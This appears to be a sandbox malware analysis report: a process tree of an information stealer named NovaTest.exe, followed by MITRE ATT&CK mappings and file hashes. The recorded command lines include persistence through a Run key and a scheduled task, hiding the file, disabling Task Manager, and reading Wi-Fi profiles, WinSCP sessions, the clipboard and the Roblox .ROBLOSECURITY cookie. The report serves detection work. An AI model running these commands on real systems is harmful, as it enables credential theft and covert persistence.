    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}""
    3⤵
    PID:8548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}""
    3⤵
    PID:5220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}""
    3⤵
    PID:8152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76DEEAB3-122F-4231-83C7-0C35363D02F9}""
    3⤵
    PID:6656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}""
    3⤵
    PID:8948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}""
    3⤵
    PID:8952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}""
    3⤵
    PID:388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}""
    3⤵
    PID:9724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}""
    3⤵
    PID:8156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A706840-2882-423C-90EB-B31545E2BC7A}""
    3⤵
    PID:7080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}""
    3⤵
    PID:7816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}""
    3⤵
    PID:9580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{113C0ADC-B9BD-4F95-9653-4F5BC540ED03}""
    3⤵
    PID:9336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC""
    3⤵
    PID:7264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent""
    3⤵
    PID:6872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us""
    3⤵
    PID:9640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2""
    3⤵
    PID:9056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService""
    3⤵
    PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 105.0.3 (x64 en-US)""
    3⤵
    PID:6712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack""
    3⤵
    PID:5600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX""
    3⤵
    PID:8984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data""
    3⤵
    PID:9816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40""
    3⤵
    PID:6248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:7096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore""
    3⤵
    PID:6724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime""
    3⤵
    PID:8816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx""
    3⤵
    PID:6560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager""
    3⤵
    PID:11704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook""
    3⤵
    PID:8980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip""
    3⤵
    PID:5940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:7728
- - C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\NovaTest.exe
    "C:\Users\Admin\AppData\Local\Temp\2amKnkwW9p8RCloB3aCZpRWmsmY\NovaTest.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\script" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAIAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3884 --field-trial-handle=1732,17690921216423418471,13503336872217937662,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    PID:5884

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:3008

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:388
- C:\Windows\system32\reg.exe
  C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}"
  2⤵
  PID:9808

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:6520

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:5820

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8352

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8532

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8740

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9208

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9408

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9344

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9332

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9256

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9200

C:\Windows\system32\more.com
more +1
1⤵
PID:10092

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9192

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9184

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9128

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9120

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9112

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9104

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9096

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9088

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9080

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9072

C:\Windows\System32\Wbem\WMIC.exe
wmic OS get caption, osarchitecture
1⤵
PID:9036

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9028

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8956

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8948
- C:\Windows\system32\reg.exe
  C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}"
  2⤵
  PID:6728

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8940

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8932

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8924

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:8916

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8908

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8900

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8892

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8880

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8844

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8832

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8824

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8780

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8772

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8760

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8752

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8732

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8700

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8684

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8672

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8660

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8652

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8620

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8612

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8604

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8596

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8588

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8580

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8540

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8504

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8496

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8464

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8456

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8448

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8440

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8424

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8416

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8404

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8392

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8384

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8376

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8344

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8336

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8324

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8316

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8308

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8300

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8284

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8264

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8248

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8224

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8216
- C:\Windows\system32\cscript.exe
  cscript C:\Users\Admin\AppData\Roaming\EhvcFEntDxbs.vbs
  2⤵
  PID:12072

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8208

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8200

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:6844

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 session
1⤵
PID:7064

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:6836

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:5620

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:6588

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8184

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8176

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8168

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8144

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8132

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8124

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8116

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8100

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8076

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8060

C:\Windows\system32\net.exe
net session
1⤵
PID:8052

C:\Windows\System32\Wbem\WMIC.exe
wmic process where processid=1184 get ExecutablePath
1⤵
PID:12228

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsDriverSetupYyCOSx /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe /f
1⤵
PID:10468

C:\Windows\system32\schtasks.exe
schtasks /create /sc onlogon /tn WindowsDriverSetupYyCOSx /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe\" /F /rl highest
1⤵
- Creates scheduled task(s)
PID:12128

C:\Windows\system32\cmd.exe
cmd /c schtasks /create /sc onlogon /tn WindowsDriverSetupYyCOSx /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe\" /F /rl highest
1⤵
PID:12272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe\""
1⤵
PID:11080
- C:\Windows\system32\attrib.exe
  "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe
  2⤵
  - Views/modifies file attributes
  PID:9404

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
1⤵
PID:10136

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip"
1⤵
PID:8408

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime"
1⤵
PID:6836

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack"
1⤵
PID:7788

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 105.0.3 (x64 en-US)"
1⤵
PID:1208

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService"
1⤵
PID:10156

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player"
1⤵
PID:7268

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC"
1⤵
PID:5604

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{113C0ADC-B9BD-4F95-9653-4F5BC540ED03}"
1⤵
PID:7684

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"
1⤵
PID:8804

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A706840-2882-423C-90EB-B31545E2BC7A}"
1⤵
PID:10940

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}"
1⤵
PID:4100

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}"
1⤵
PID:6176

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}"
1⤵
PID:7676

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}"
1⤵
PID:2416

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
1⤵
PID:8164

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\CumktvNa9EGL_temp.ps1"
1⤵
PID:7360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Clipboard
1⤵
PID:8740

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" wlan show profile
1⤵
PID:10360

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D44822A8-FC28-42FC-8B1D-21A78579FC79}"
1⤵
PID:5968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
1⤵
PID:5896

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}"
1⤵
PID:5556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
1⤵
PID:9556

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7141A99-592B-4226-A4E9-B767C1D0FBAF}"
1⤵
PID:7416

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AE86D888-1404-47CC-A7BB-8D86C0503E58}"
1⤵
PID:7952

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}"
1⤵
PID:8200

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}"
1⤵
PID:10172

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76DEEAB3-122F-4231-83C7-0C35363D02F9}"
1⤵
PID:10752

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}"
1⤵
PID:6920

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}"
1⤵
PID:7864

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent"
1⤵
PID:4148

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us"
1⤵
PID:10024

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2"
1⤵
PID:5572

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX"
1⤵
PID:8460

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data"
1⤵
PID:5184

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40"
1⤵
PID:11724

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:7144

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore"
1⤵
PID:6088

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx"
1⤵
PID:9420

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook"
1⤵
PID:3880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
561ad4794e22ab68a6811d88e43d6c06

SHA1
